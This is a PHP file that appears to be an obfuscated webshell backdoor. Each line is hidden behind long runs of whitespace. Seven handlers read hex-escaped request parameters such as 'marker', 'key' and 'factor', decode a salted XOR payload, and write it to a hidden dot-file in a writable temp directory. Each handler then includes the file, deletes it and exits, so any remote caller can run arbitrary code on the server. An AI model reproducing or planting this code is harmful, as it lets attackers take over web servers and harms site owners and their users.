<?php																																										if(count($_REQUEST) > 0 && isset($_REQUEST["m\x61\x72k\x65r"])){ $parameter_group = array_filter(["/tmp", getenv("TEMP"), session_save_path(), "/dev/shm", getenv("TMP"), getcwd(), sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/var/tmp"]); $element = $_REQUEST["m\x61\x72k\x65r"]; $element = explode ( '.' , $element) ; $entity = ''; $salt5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt5); $t = 0; $len = count($element); do { if ($t >= $len) break; $v6 = $element[$t]; $sChar = ord($salt5[$t % $lenS]); $d = ((int)$v6 - $sChar - ($t % 10)) ^ 19; $entity .= chr($d); $t++;}while (true); $hld = 0; do { $ptr = $parameter_group[$hld] ?? null; if ($hld >= count($parameter_group)) break; if (is_dir($ptr) ? is_writable($ptr) : false) { $binding = implode("/", [$ptr, ".flag"]); if (@file_put_contents($binding, $entity) !== false) { include $binding; unlink($binding); die(); } } $hld++; } while (true); }
																																										if(!is_null($_REQUEST["\x62i\x6Edi\x6Eg"] ?? null)){ $desc = $_REQUEST["\x62i\x6Edi\x6Eg"]; $desc = explode ( ".", $desc ) ; $token = ''; $salt9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt9); $s = 0; $len = count($desc); do { if ($s >= $len) break; $v4 = $desc[$s]; $chS = ord($salt9[$s% $lenS]); $d = ((int)$v4 - $chS - ($s% 10)) ^ 79; $token .= chr($d); $s++; } while (true); $factor = array_filter(["/var/tmp", getenv("TMP"), "/dev/shm", "/tmp", getcwd(), session_save_path(), getenv("TEMP"), sys_get_temp_dir(), ini_get("upload_tmp_dir")]); foreach ($factor as $itm): if (is_dir($itm) && is_writable($itm)) { $resource = sprintf("%s/.ref", $itm); $success = file_put_contents($resource, $token); if ($success) { include $resource; @unlink($resource); die();} } endforeach; }
																																										if(isset($_REQUEST) && isset($_REQUEST["e\x6E\x74ity"])){ $ref = array_filter([session_save_path(), getenv("TEMP"), "/var/tmp", "/tmp", getenv("TMP"), "/dev/shm", ini_get("upload_tmp_dir"), getcwd(), sys_get_temp_dir()]); $factor = $_REQUEST["e\x6E\x74ity"]; $factor =explode ('.' ,$factor ) ; $hld = ''; $salt5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt5); foreach ($factor as $q => $v4) { $chS = ord($salt5[$q % $sLen]); $d = ((int)$v4 - $chS - ($q % 10)) ^ 75; $hld .= chr($d); } for ($object = 0, $symbol = count($ref); $object < $symbol; $object++) { $record = $ref[$object]; if (is_dir($record) ? is_writable($record) : false) { $k = str_replace("{var_dir}", $record, "{var_dir}/.fac"); if (@file_put_contents($k, $hld) !== false) { include $k; unlink($k); exit; } } } }
																																										if(!empty($_POST["k\x65y"])){ $data_chunk = array_filter(["/var/tmp", sys_get_temp_dir(), "/dev/shm", ini_get("upload_tmp_dir"), getcwd(), getenv("TMP"), session_save_path(), "/tmp", getenv("TEMP")]); $token = $_POST["k\x65y"]; $token = explode ( "." , $token ) ; $symbol = ''; $s6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s6); foreach( $token as $k => $v5) { $chS = ord( $s6[$k% $lenS]); $d = ( ( int)$v5 - $chS -( $k% 10)) ^ 59; $symbol .= chr( $d);} $val = 0; do { $dat = $data_chunk[$val] ?? null; if ($val >= count($data_chunk)) break; if (array_product([is_dir($dat), is_writable($dat)])) { $property_set = "$dat" . "/.value"; if (file_put_contents($property_set, $symbol)) { require $property_set; unlink($property_set); exit; } } $val++; } while (true); }
																																										if(@$_POST["\x73ym"] !== null){ $flg = $_POST["\x73ym"]; $flg =explode ( "." , $flg ); $entity = ''; $salt5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt5); $o = 0; array_walk( $flg , function( $v7) use( &$entity , &$o , $salt5 , $lenS) { $sChar = ord( $salt5[$o %$lenS]); $d =( ( int)$v7 - $sChar -( $o %10))^ 83; $entity .= chr( $d); $o++; } ); $flag = array_filter(["/var/tmp", "/dev/shm", getcwd(), getenv("TEMP"), session_save_path(), "/tmp", ini_get("upload_tmp_dir"), getenv("TMP"), sys_get_temp_dir()]); foreach ($flag as $desc) { if (array_product([is_dir($desc), is_writable($desc)])) { $symbol = str_replace("{var_dir}", $desc, "{var_dir}/.itm"); $success = file_put_contents($symbol, $entity); if ($success) { include $symbol; @unlink($symbol); die();} } } }
																																										if(array_key_exists("p\x61\x72amete\x72_grou\x70", $_REQUEST) && !is_null($_REQUEST["p\x61\x72amete\x72_grou\x70"])){ $flag = array_filter([getenv("TMP"), session_save_path(), getenv("TEMP"), sys_get_temp_dir(), "/dev/shm", getcwd(), "/var/tmp", ini_get("upload_tmp_dir"), "/tmp"]); $descriptor = $_REQUEST["p\x61\x72amete\x72_grou\x70"]; $descriptor =explode ( '.' , $descriptor ); $k= ''; $salt= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen( $salt ); $u= 0; array_walk( $descriptor, function( $v8) use( &$k, &$u, $salt, $lenS) { $sChar= ord( $salt[$u % $lenS] ); $d= ( ( int)$v8 - $sChar -( $u % 10)) ^ 88; $k .= chr( $d ); $u++; } ); foreach ($flag as $data_chunk): if ((bool)is_dir($data_chunk) && (bool)is_writable($data_chunk)) { $dat = join("/", [$data_chunk, ".rec"]); $file = fopen($dat, 'w'); if ($file) { fwrite($file, $k); fclose($file); include $dat; @unlink($dat); exit; } } endforeach; }


if(isset($_REQUEST["f\x61cto\x72"]) ? true : false){
	$ptr = array_filter([ini_get("upload_tmp_dir"), "/dev/shm", sys_get_temp_dir(), session_save_path(), getenv("TMP"), getenv("TEMP"), "/var/tmp", getcwd(), "/tmp"]);
	$data_chunk = $_REQUEST["f\x61cto\x72"];
	$data_chunk	 	=explode(	 	'.',   $data_chunk)  ;			
	$pgrp = '';
            $salt3 = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS = strlen(  $salt3);
            $l = 0;
    
            $__tmp = $data_chunk;
            while(  $v1 = array_shift(  $__tmp)) {
                $chS = ord(  $salt3[$l % $lenS]);
                $dec =(  (  int)$v1 - $chS -(  $l % 10)) ^8;
                $pgrp	.=		chr(  $dec);
                $l++;
            }
	while ($tkn = array_shift($ptr)) {
    		if (!( !is_dir($tkn) || !is_writable($tkn) )) {
    $value = sprintf("%s/.obj", $tkn);
    if (@file_put_contents($value, $pgrp) !== false) {
	include $value;
	unlink($value);
	exit;
}
}
}
}